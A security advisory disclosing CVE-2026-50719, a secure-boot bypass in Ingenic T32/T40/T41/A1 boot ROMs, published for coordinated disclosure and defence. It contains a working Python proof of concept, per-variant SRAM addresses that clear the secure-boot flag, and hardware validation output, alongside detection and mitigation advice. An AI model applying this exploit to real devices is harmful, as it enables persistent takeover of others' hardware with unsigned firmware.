OPENSENSOR ENGINEERING
Security Disclosures
CVE-2026-50719CWE-287 / CWE-250 · Improper AuthenticationPhysical Attack Vector

Ingenic T32/T40/T41/A1 Boot ROM — Pre-Verification Init-Table Bypass

Init table parsed and executed before secure boot check — clears SRAM security flag, skips RSA-PSS verification entirely

Discovered: March 2026 · Vendor notified: March 17, 2026 · CVE assigned: June 2026 · Published: July 31, 2026

Vendor
Ingenic Semiconductor
Affected Products
T32, T40, T41, A1
Attack Vector
Physical (boot media write)
Patchable?
No — mask ROM

CVSS 3.1

8.1HIGH
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricValueRationale
Attack VectorPhysical (P)SPI NOR write access required
Attack ComplexityLow (L)Static binary patch — no probabilistic step
Privileges RequiredNone (N)
User InteractionNone (N)
ScopeChanged (C)Boot ROM compromise impacts entire system
C/I/AHigh / High / HighFull device takeover

A conservative S:U reading scores 6.8 Medium. We recommend S:C because the vulnerable component (mask ROM) is outside the security scope of the impacted component.

Vulnerability Description

The Ingenic T32, T40, T41, and A1 SoC boot ROMs (mask ROM) parse and execute an attacker-controlled init table carried inside the SPL (Secondary Program Loader) header before evaluating the secure boot state and before invoking RSA-PSS signature verification. The init table parser supports full 32-bit write addresses, so an attacker who can write to the SPI NOR boot media can craft an SPL header that writes to SRAM-resident security state and clears the secure boot flag before the verification routine runs. The ROM then skips signature verification entirely and executes the unsigned SPL payload.

This was first-person hardware-validated on T32, T40, and T41 silicon: on each variant, a patched Thingino image with an injected init table entry was accepted by the boot ROM, executed through Thingino SPL, and handed off into second-stage U-Boot. T41NQ was the primary validation target (secure-boot-enabled consumer camera); T32 and T40 were additionally confirmed on hardware. The same vulnerability class is expected to affect A1 on the basis of ROM analysis but has not yet been first-person validated on A1 silicon.

This issue is distinct from CVE-2026-50720 (T31 partial verification). The T32/T40/T41/A1 RSA-PSS verifier itself appears cryptographically sound — the bypass succeeds by abusing ROM control flow ordering rather than by forging signatures.

Affected Products

Confirmed affected (hardware-validated, first-person):

  • Ingenic T32 SoC, all known mask ROM revisions
  • Ingenic T40 SoC, all known mask ROM revisions
  • Ingenic T41 SoC (including T41NQ), all known mask ROM revisions
  • Secure-boot-enabled consumer camera devices based on T41NQ

Analysis indicates affected (expected, not yet first-person validated):

  • Ingenic A1 SoC — ROM analysis confirms identical init-table parser and pre-verification execution ordering

Not affected:

  • Ingenic T31 family — affected by a separate vulnerability class tracked as CVE-2026-50720

Per-Variant SRAM Security Flag Addresses

The injected init-table entry targets an SRAM word that mirrors an eFuse-based security configuration. The specific address differs per SoC variant but the structural attack is identical:

SoCSRAM Target AddressWrite ValueNotes
T320x800000240x00000000Bit 16 = secureboot enable; mirrored from eFuse 0xB3540210
T400x800000B00x00004000
T41 / T41NQ0x800000900x00000000Clears byte at 0x80000091
A1derived from A1 boot ROM analysis0x00000000 (assumed)Not yet first-person validated

Impact

  • Complete bypass of secure boot on T32, T40, and T41 (hardware-validated, first-person)
  • Likely complete bypass of secure boot on A1 (analysis-only)
  • Execution of arbitrary unsigned SPL and second-stage bootloader code
  • Full firmware replacement without the OEM signing key
  • Persistence across factory reset — the patched SPL image lives in SPI NOR flash and is re-executed on every boot
  • Vulnerability is in mask ROM and cannot be remediated by firmware update

Proof of Concept

The following demonstrates the init-table injection used to bypass secure boot on T41. An INGE init-table entry is written to the SPL header at offset 0x100. The first entry writes 0 to0x80000090, clearing the SRAM-resident secure boot state word before the boot ROM reaches the verification step.

#!/usr/bin/env python3
"""T41 init-table bypass — proof of concept."""
import struct
from pathlib import Path

MAGIC          = 0x45474E49   # "INGE" little-endian
INIT_OFFSET    = 0x100
ENTRY0_OFFSET  = 0x120
TERM_OFFSET    = 0x134


def inject_patch(data: bytearray, target_addr: int,
                 write_value: int = 0) -> None:
    """Inject init-table entry that clears the secure boot flag."""
    # Header: INGE magic + padding
    struct.pack_into("<I", data, INIT_OFFSET,     MAGIC)
    struct.pack_into("<I", data, INIT_OFFSET + 4, 0)

    # Entry 0: write value to target address
    struct.pack_into(
        "<IIIII", data, ENTRY0_OFFSET,
        target_addr,   # write address
        0xFFFFFFFF,    # poll address  (skip)
        write_value,   # write value
        0,             # poll mask     (skip)
        0,             # poll clear    (skip)
    )

    # Terminator
    struct.pack_into(
        "<IIIII", data, TERM_OFFSET,
        0xFFFFFFFF, 0xFFFFFFFF, 0, 0, 0,
    )


# T41 usage:
#   data = bytearray(Path("firmware.bin").read_bytes())
#   inject_patch(data, target_addr=0x80000090, write_value=0x00000000)
#   Path("patched.bin").write_bytes(data)
#
# T32 variant: target_addr=0x80000024

The init table is parsed by the boot ROM before the secure boot state byte is checked, so the security flag is cleared before signature verification runs.

Hardware Validation Evidence

Observed serial output from a secure-boot-enabled T41NQ validation device after flashing the patched image:

Thingino U-Boot for Ingenic T41NQ SPL 2013.07 ...
image entry point: 0x80100000
Thingino U-Boot for Ingenic 2013.07 ...
Now running in RAM - U-Boot at: 87f54000

Equivalent acceptance behavior was observed on T32 and T40 hardware using variant-specific target addresses. This sequence indicates the boot ROM accepted the patched image, executed Thingino SPL, and handed off into second-stage U-Boot. Full serial captures from reset through kernel handoff, for all three validated variants, are available on request to verified security researchers and affected vendors.

Workarounds

Because the vulnerability is in mask ROM, there is no in-field firmware-only mitigation. Practical risk reduction options for deployed fleets:

  • Physical hardening. Restrict physical access to device boot media. Disable or physically remove any in-circuit flashing interface (UART, JTAG, USB boot mode entry) where possible.
  • eFuse-based boot media locking. If the SoC/die supports SPI-NOR write-protection via eFuse or a write-protect pin that is set after manufacturing, ensure it is enabled.
  • Replacement. For deployments where secure boot is a hard requirement, migrate to an SoC without this vulnerability.

Affected vendors should reach out to Ingenic for silicon-level guidance.

Detection

A patched SPL image is, by construction, byte-different from any legitimately signed vendor image and will contain the INGE magic and an init-table entry in the SPL header region. Fleet operators can detect tampering by:

  • Periodic cryptographic comparison of in-field SPI NOR contents against a known-good vendor image.
  • Scanning the SPL header region for the INGE magic (0x45474E49). A legitimate vendor image should not contain a populated init table in this region.

Signature validity alone does not indicate an authentic image. A byte-level comparison against the vendor image is required.

Disclosure Timeline

  1. March 2026Vulnerability discovered by Matt Davis and Alfonso Gamboa
  2. March 2026First-person hardware validation completed on T32, T40, and T41 silicon
  3. March 17, 2026Ingenic Semiconductor notified via multiple channels
  4. March 17, 2026Downstream vendor (Wyze) notified; coordination ongoing
  5. March 25, 2026CVE submitted to MITRE — early submission (7 days) justified by unpatchable mask ROM
  6. May 30, 2026Full technical details presented at Maine BSides
  7. June 2026CVE-2026-50719 assigned by MITRE

Credit

Discovered by Matt Davis (OpenSensor Engineering LLC) and Alfonso Gamboa — equal co-discovery.

Content editing and reporting validation by Josh at WLTechBlog.